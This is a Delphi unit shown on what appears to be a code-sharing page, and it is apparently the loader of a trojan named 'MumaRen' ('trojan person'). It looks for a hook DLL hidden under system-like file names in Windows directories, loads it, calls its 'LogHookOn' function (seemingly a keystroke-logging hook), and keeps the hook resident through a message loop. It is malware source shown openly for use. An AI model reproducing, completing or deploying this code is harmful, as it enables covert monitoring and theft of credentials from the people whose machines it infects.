📄 dll.~pas
字号:
unit DLL;
interface
uses Windows,Messages,shellapi;
procedure ResDLL;
//procedure DeleteMe();
var
LogHookOn:function ():integer; stdcall;
loadon: THandle;
const
sFileMap = 'wFileMap_MumaRen'; // 内存映射文件
implementation
uses Main,Thuan;
procedure ResDLL;
var
MsgStruct: TMsg;
MutexHandle, FileHandle: DWORD;
PCurThreadID: PDWORD;
hWND1:HWND;
i:integer;
begin
ComDLL_FileName:= GetDirectory(1)+'Drvce.dll';
ComDLL_FileName2 := GetDirectory(1)+'dllcache\Dllse.dll';
ComDLL_FileName3 := GetDirectory(1)+'IMENS.dll';
ComDLL_FileName4 := GetDirectory(1)+'Setup\Max.dll';
if (FindWindow('Edit', 'MumaRen') <> 0) then Exit;
FileHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(DWORD), sFileMap);
PCurThreadID := MapViewOfFile(FileHandle, FILE_MAP_WRITE, 0, 0, 0);
PCurThreadID^ := GetCurrentThreadID();
UnmapViewOfFile(PCurThreadID);
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
//查找DLL
loadon:=LoadLibrary(PChar(ComDLL_FileName));
if loadon <= 0 then
begin
loadon:=LoadLibrary(PChar(ComDLL_FileName2));
if loadon <= 0 then
begin
loadon:=LoadLibrary(PChar(ComDLL_FileName3));
if loadon <= 0 then
begin
loadon:=LoadLibrary(PChar(ComDLL_FileName4));
if loadon <= 0 then
begin
CloseHandle(FileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
halt;
end;
end;
end;
end;
@LogHookOn:=GetProcAddress(loadon,'LogHookOn');
LogHookOn;
while GetMessage(MsgStruct, 0, 0, 0) do ; // 等待WM_QUIT
CloseHandle(FileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
CloseHandle(MutexHandle);
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -